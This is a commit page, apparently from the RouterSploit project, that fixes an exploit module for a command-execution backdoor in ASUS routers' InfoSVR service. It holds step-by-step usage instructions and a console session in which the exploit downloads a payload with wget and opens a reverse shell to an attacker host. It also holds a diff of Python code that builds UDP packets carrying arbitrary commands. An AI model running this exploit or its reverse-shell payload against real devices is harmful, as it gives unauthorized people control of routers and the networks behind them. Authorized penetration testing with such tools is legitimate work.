Unverified Commit a5a4ed65 by Marcin Bury Committed by GitHub

Fixing InfoSVR Backdoor RCE module (#508)

parent 4b92da08
## Description
Module exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use exploits/routers/asus/infosvr_backdoor_rce`
3. Do: `set target[TargetIP]
4. Do: `run`
5. If router is vulnerable, it should be possible to execute commands on operating system level.
6. Do: `set payload reverse_tcp`
7. Do: `set lhost [AttackerIP]`
8. Do: `run`
9. Payload is sent to device and executed providing attacker with the command shell.
## Scenarios
```
rsf > use exploits/routers/asus/infosvr_backdoor_rce
rsf (Asus Infosvr Backdoor RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Asus Infosvr Backdoor RCE) > run
[*] Running module...
[+] Target is vulnerable
[*] Invoking command loop...
[*] Please note that only first 256 characters of the output will be displayed or use reverse_tcp
[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.
cmd > show payloads
[*] Available payloads:
Payload Name Description
------- ---- -----------
bind_tcp ARMLE Bind TCP Creates interactive tcp bind shell for ARMLE architecture.
reverse_tcp ARMLE Reverse TCP Creates interactive tcp reverse shell for ARMLE architecture.
cmd > set payload reverse_tcp
cmd (ARMLE Reverse TCP) > show options
Payload Options:
Name Current settings Description
---- ---------------- -----------
lhost Connect-back IP address
lport 5555 Connect-back TCP Port
encoder Encoder
cmd (ARMLE Reverse TCP) > set lhost 192.168.1.115
lhost => 192.168.1.115
cmd (ARMLE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:35220
[+] Enjoy your shell
ls -la
ls -la
drwxr-xr-x 18 admin root 325 Mar 15 2017 .
drwxr-xr-x 18 admin root 325 Mar 15 2017 ..
drwxr-xr-x 2 admin root 3 Mar 15 2017 asus_jffs
drwxr-xr-x 2 admin root 706 Mar 15 2017 bin
drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs1
drwxr-xr-x 2 admin root 3 Mar 15 2017 cifs2
drwxr-xr-x 5 admin root 1540 Sep 4 23:04 dev
lrwxrwxrwx 1 admin root 7 Mar 15 2017 etc -> tmp/etc
lrwxrwxrwx 1 admin root 8 Mar 15 2017 home -> tmp/home
drwxr-xr-x 5 admin root 0 Sep 4 23:25 jffs
drwxr-xr-x 3 admin root 402 Mar 15 2017 lib
lrwxrwxrwx 1 admin root 9 Mar 15 2017 media -> tmp/media
drwxr-xr-x 2 admin root 3 Mar 15 2017 mmc
lrwxrwxrwx 1 admin root 7 Mar 15 2017 mnt -> tmp/mnt
lrwxrwxrwx 1 admin root 7 Mar 15 2017 opt -> tmp/opt
dr-xr-xr-x 101 admin root 0 Jan 1 1970 proc
drwxr-xr-x 7 admin root 766 Mar 15 2017 rom
lrwxrwxrwx 1 admin root 13 Mar 15 2017 root -> tmp/home/root
drwxr-xr-x 2 admin root 2428 Mar 15 2017 sbin
drwxr-xr-x 11 admin root 0 Jan 1 1970 sys
drwxr-xr-x 2 admin root 3 Mar 15 2017 sysroot
drwxrwxrwx 13 admin root 860 Sep 4 23:33 tmp
drwxr-xr-x 8 admin root 139 Mar 15 2017 usr
lrwxrwxrwx 1 admin root 7 Mar 15 2017 var -> tmp/var
drwxr-xr-x 14 admin root 6036 Mar 15 2017 www
```
import socket
import struct
import os
from struct import pack, unpack
from routersploit.core.exploit import *
from routersploit.core.udp.udp_client import UDPClient
......@@ -37,48 +35,47 @@ class Exploit(UDPClient):
port = OptPort(9999, "Target UDP port")
def run(self):
try:
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp")
shell(self, architecture="armle", method="wget", location="/tmp")
else:
print_error("Target is not vulnerable")
except socket.error as ex:
print_error("Socket error ({ex}). It most likely means that something "
"else is listening locally on port UDP:{port}. Make sure to "
"kill it before running the exploit again.".format(ex=ex, port=9999))
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp")
shell(self, architecture="armle", method="wget", location="/tmp")
else:
print_error("Target is not vulnerable")
def execute(self, cmd):
if len(cmd) > 237:
print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')
return
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 9999))
sock.settimeout(2)
ibox_comm_pkt_hdr_ex = (
pack("<B", 0x0c) + # NET_SERVICE_ID_IBOX_INFO 0xC
pack("<B", 0x15) + # NET_PACKET_TYPE_CMD 0x15
pack("<H", 0x33) + # NET_CMD_ID_MANU_CMD 0x33
bytes(utils.random_text(4), "utf-8") + # INFO
bytes(utils.random_text(6), "utf-8") + # MAC Address
bytes(utils.random_text(32), "utf-8") # Password
)
packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')
cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
pkt_syscmd = (
pack("<H", len(cmd)) +
cmd
)
sock.sendto(packet, (self.target, 9999))
except socket.error:
return ""
payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(utils.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")
while True:
try:
data, addr = sock.recvfrom(512)
except socket.timeout:
sock.close()
return ""
if len(data) == 512 and data[1] == "\x16":
break
length = struct.unpack('<H', data[14:16])[0]
output = data[16:16 + length]
sock.close()
return output
udp_client = self.udp_create()
udp_client.send(payload)
response = udp_client.recv(512)
udp_client.close()
if response and len(response) == 512:
length = unpack('<H', response[14:16])[0]
return str(response[16: 16 + length], "utf-8")
return ""
@mute
def check(self):
......@@ -86,11 +83,10 @@ class Exploit(UDPClient):
for _ in range(NUM_CHECKS):
random_value = utils.random_text(32)
cmd = b'echo ' + random_value.encode()
try:
retval = self.execute(cmd)
except socket.timeout:
continue
cmd = "echo {}".format(random_value)
retval = self.execute(cmd)
if random_value in retval:
return True
return False
return True # target is vulnerable
return False # target is not vulnerable
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment